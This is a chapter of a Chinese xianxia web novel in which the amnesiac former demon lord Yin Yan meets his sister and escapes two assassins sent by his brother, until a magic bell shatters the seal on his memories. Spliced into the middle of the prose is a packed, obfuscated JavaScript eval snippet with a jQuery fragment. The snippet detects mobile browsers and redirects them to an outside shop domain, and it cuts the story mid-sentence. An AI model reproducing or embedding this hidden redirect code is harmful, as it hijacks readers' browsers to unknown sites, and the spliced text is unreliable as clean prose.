三百年前的幽冥山魔君殷晟有许多孩子。
他妻妾成群,掳掠的炉鼎侍妾就占了一整座山头,生下来的孩子个个都姓殷,名字胡乱取,其中大多数自出生后就再未见过这个父亲。
殷琰的母亲是被掳到幽冥山的一个炉鼎。
按幽冥山的规矩,所有姓殷的“少主”们按天资排序,十五岁前能引气入体的才有机会修行,并获得幽冥山唯一功法心诀传承——蕴灵五行诀。
殷琰生来是个哥儿,又是平平无奇的三灵根资质,母亲毫无地位,幼年几乎在打压与被欺凌中度过。
幽冥山无人在意他们这些所谓的“少主”,即便顶着一个殷姓,只要进境无望,他们的下场也不会比在这山上卖命的寻常弟子们强上多少。
幽冥山每天都有死人。
蕴灵五行诀的要义之一便是互相残杀,进境高者吸食低阶者的灵力,以此提升修为。
“你若不出头,将来也是这般下场……”
母亲每每指着山上那些死人,神情麻木地对他说。
殷琰十三岁前没出过幽冥山,以为这世间修士过得就是这般弱肉强食、昏天黑地的日子。
他不敢懈怠,拼了命的修行,只为给自己和母亲挣一条活路。
直到幽冥山被正道围攻那日。
万法道祖沈归烬带着一众宗门修士将幽冥山围起来,说他们作恶多端,戕害人命。
殷琰那时才刚刚引气入体,刚拿到蕴灵五行诀心法的他没来得及展望前程,愕然发现这世间的规则跟他想象的完全不一样。
他们的父亲原来是个魔头,这世间修士也未必要自相残杀,才能活下来。
可他意识到这些的时候已经晚了。
他要为他那连见都没见过一面的父亲赎罪,世间散修恨他们入骨,幽冥山弟子个个倒戈,攻上山来的正道修士们呼喊的口号是“斩草除根”、“杀尽魔头满门”……
万法道祖沈归烬用一把落神剑,平了整座幽冥山。
殷琰缩在石缝中,瑟瑟发抖。
他是魔头的儿子,他以为自己死定了。
可沈归烬明明发现了他,却莫名其妙放了他一马。
跟他一并活下来的还有殷焦和殷岚两个弟妹,年纪都不大,殷焦十一岁,殷岚当年才六岁,都在正道修士的扫荡中莫名保住了性命。
他们是殷氏仅存的血脉,殷琰跟这两个弟妹完全不熟,甚至此前从未见过,可幽冥山彼时已经没有太多活人。
他们被迫相依为命,其中殷琰进境最高,便带着弟妹隐姓埋名地讨生活。
……
“琰哥儿?你没事吧,琰哥儿?”
张娘子看殷琰骤然捂住头,一副病发了的样子,连忙担心问道。
殷琰从回忆里抽神醒过来。
他对殷岚这个名字有印象,但记不起太多事情,有些痛苦地敲了敲脑壳,问张娘子:“她在哪儿?”
“在我铺子里坐着呢,”张娘子说,“真是你妹妹啊?”
殷琰胡乱点头,虽然想不起来,但隐约觉得这人跟自己有关,便想见见。
张娘子放了心:“那你把铺门开开,我让她过去,就怕是什么坏人呢……”
说罢转回身,去叫殷岚。
街道另一侧,石越和熊毅伪装成路人,在拐角处盯着这边的动静。
他们看到药铺开了门,身量苗条的小哥儿在门后露出半张脸,跟殷岚和张娘子说话。
“这回看清楚了吧?”
石越捅了旁边的熊毅一肘,摩挲起怀里的刀柄,“我就说他怎会那么轻易死,先前一点儿踪迹找不到,敢情装作良民,躲到正道地盘上来了!”
熊毅默不应声,下意识压了压头上带着的斗笠,四下环顾一圈,没看到巡逻的修士,才放心了些:“速战速决,这里不是咱的地盘,别闹出动静。”
“啰嗦,”石越睨他一眼,“用得着你提醒?”
两人性情并不对付,也不再说话,各自掐诀闪神进那间药铺。
……
殷琰倚门看着眼前女子,虽觉得有些熟悉,可一回想,脑中又是一片空白。
殷岚神情凄然,一脸难以置信地望着他:“哥,你真的认不出我了?我……我是岚岚啊!”
自三百多年前幽冥山被正道围攻,殷氏覆灭,殷岚一直跟着大哥和二哥生活,大哥修行刻苦,带着他们在魔道与正道之间苟且求生,不知吃过多少苦。
为了能有个落脚的地方,殷琰想方设法进境,好不容易进阶元婴,以幽冥山魔君的名头重又争下一块地盘,自此,三人才有了安身立命所在。
如今魔道衰落,幽冥山势力虽大不如前,可殷岚本没有什么野心,她自知资质平平,不像大哥那般刻苦,也不像二哥殷焦那样整天想着恢复往日荣光,她只想安安稳稳地活下来。
可大哥在闭关期间突然走火入魔,离开幽冥山,自此没了下落。
她红着眼垂泪,看得旁边张娘子有些不忍,又忙着招呼自家生意,道:“也别在这儿说了,琰哥儿,先让人进去,既不是什么恶人,街上来来往往的,免得惹人议论。”
殷琰点头,他虽想不起来事情,但对这女孩并未产生恶感,也没有感到剧烈的头疼。
对方大抵不是坏人。
他把殷岚让进铺子,又打发走张娘子——他知道自己失忆,这女孩既然认识自己,便想打听些消息。
殷岚在铺子里坐下,四下打量一圈:“哥,你一直住在这里?”
殷琰没有说话,只给对方倒了杯茶。
他还不确定自己是不是对方的哥哥。
殷岚捧着茶水,眼眶红红道:“怪我,我早就求二哥让我出来找你,可他不肯,说你发了疯,又怕我出危险,直到几日前才得了你的消息,知道你在这镇子上……哥,你跟我回去吧,这里不安全,到处是巡逻修士,我们早点儿回幽冥山去!”
殷琰皱着眉头:“二哥?幽……幽冥山?”
“对啊,”殷岚也皱紧眉头,“你弟弟,殷焦,你也不记得了?”
殷琰“嘶”了一声,脑中痛感骤起,某些破碎的画面又再次浮现出来……
“哥?”
殷岚有些诧异,忙放下手中杯盏,去扶他。
屋内忽然相继闪出两个人影,殷岚一看,先是诧异,随即面上浮出一层惊喜道:“石前辈,熊前辈!是我哥派你们……”
话音未落,却见对方并不理她,只各自抽出法宝,朝殷琰杀过来。
殷岚大惊,下意识阻挡:“你们干什么!他是……”
石越是个炼器修士,抬手朝殷岚丢出一道缚灵绳:“小郡主不要碍事,我等自知他是谁,当今尊上的命令正是要杀他!”
殷岚愕然:“你们……”
熊毅也说:“殷琰如今已是个废君,幽冥山上下只听二当家殷焦的命令,不信你问你那二哥去吧,莫要在这里干扰我等动手!”
石越和熊毅两人皆是结丹巅峰,殷岚一个结丹初期修士,本不是对手,又被对方的缚灵绳缠绕,动弹不得。
她忙冲旁边的殷琰喊:“哥,快闪开!”
殷琰此刻才从骤然的头痛中缓过神,看了朝自己杀过来的两人一眼,根本来不及躲。
但就在对方用术法触碰到自己的一瞬间,他颈中戴着的令天仪被瞬间激发,时间在此刻定格,石越、熊毅、殷岚三人全部凝在原地,就连击出的术法也被静止,只剩殷琰一人呆呆望着这一切。
他很快反应过来,想起夫君的话,又听到从后院闯进来的小黑猫对着他“喵呜”的喊声。
殷琰警铃大作,忙避开这些被定格的敌人,弯腰抄起蹭到他脚边的小黑猫,一刻也不敢耽搁地朝无界门跑。
夫君教过他如何进入洞府,他将无界门上方的玻璃珠子按两下,只听“咔哒”两声响,待珠子转为透明,便推门进去。
无界门两侧不属同一时空,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753737|209473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
殷琰前脚刚踏进门,作用于院中的令天仪便失效。
被定格的时间恢复,石越、熊毅、殷岚三人皆是一愣,一时间尚未反应过来发生了什么,但石越和熊毅两人到底是结丹巅峰修士,察觉到殷琰未及遁匿的气息,眨眼便又追了过去。
殷琰刚进入洞府,还没来得及关门,往后一瞧,见对方已经扑了过来。
他吓得连连后退,差点栽到地上,手忙脚乱找周围的武器……
可就在熊毅抢先越过门,扑向他的一瞬间,殷琰看到对方庞然的身躯如同接触到一层无形的屏障,顷刻间就汽化消失了。
殷琰睁大了眼。
紧跟熊毅而来的石越也睁大了眼,并忙不迭紧急刹脚,堪堪在门框前停住。
两人隔门对望,殷琰反应过来,开始摸身上的传音珠。
石越出了一层冷汗,心想这是什么玩意儿,怎么看着像是……道祖的无界门?
不及细想,他见殷琰又摸出了一颗珠子,眼看是要给什么人传音。
石越眼珠急转,想起此前到山脚小院那几个同僚无端失踪的消息,又看向方才一瞬间便要了熊毅命的那扇门,心知殷琰身后必有帮手,对方境界未知,但多半是位了不得的大能,决不能让这厮喊来!
他从储物袋里也迅速召出一件秘宝,是一枚摇铃,就着咒语“叮铃咣当”地摇起来。
殷琰被种心魔毒时他在场,石越心眼多,偷了滴这位废君的额心血,私下里炼出这么一枚法器,防备的是殷焦若不肯对他这哥哥下死手,自己得有点拿捏保命的法子。
熟料殷焦心狠手辣,此前倒一直没用上。
摇铃要不了殷琰的命,却是扰乱灵台的法器,殷琰进境高、灵根无恙时不大会受影响,可偏偏他如今跌落练气,灵根又残碎,甚至灵台本身就是混沌一片。
摇铃声起,殷琰顿感一阵剧烈的眩晕和头疼袭来,手中传音珠脱了手,又听石越蛊惑似的对他讲:“尊上,出来啊,躲在那里做什么?你不要回幽冥山当魔君了?”
尊上,又是尊上。
殷琰记忆混乱,记不起这个词对他到底有何意义,他灵台被沈归烬打了禁制,虚幻蛊惑的铃声撞进来,一时半刻不至于全然失神,可却难受得很。
他忍不住“咚”的一声跪倒在地上。
小黑猫“喵嗷”两声,冲着石越哈气炸毛,又围着殷琰团团转,急得没法,干脆跑到洞府刨了一圈,给殷琰叼来两张符箓。
殷琰不知这符箓是做什么用的,随手朝石越甩出去。
符箓所过之处,顷刻间电闪雷鸣,石越吓了一跳,出于本能地撑开结界躲,可那雷击威力无穷,只一下便把他结界破了。
“引……引雷符?变异灵根术法?”
石越大骇,脑中诸多想法闪过,又看了眼眼前的无界门,一个极其惊悚地念头在他脑中冒出:这废君背后,不会是那传说中的万法道祖吧?
怎,怎么可能?
石越来不及多想,如此情势,他也不敢再耽误下去,殷琰杀不了就算了,他立刻掐诀,意图逃遁。
却被院内早已布下的阵符挡住。
逃竟也逃不了!
石越转头看向殷琰,见殷琰发现那符箓有用,居然不知从哪儿又抓来了一把!
这门后到底是什么地方!?
他连连退缩,又知退无可退,只能拼命催动手中摇铃,企图控住殷琰,挽回一线生机。
殷琰头痛欲裂,干脆一股脑将手中抓着的符箓全丢出去。
与此同时,他听到脚边传音珠响起来——沈归烬察觉到无界门异动,率先给他传消息了。
“夫……”
殷琰伸手去够那传音珠。
无界门外电闪雷光声骤起,伴着疯狂的摇铃声,殷琰指尖刚触碰到传音珠,脚下忽然一软,本只是做护持用的灵台禁制无法抵御铃音,轻灵一响,碎了。
庞杂混乱的记忆轰然从殷琰脑中涌出。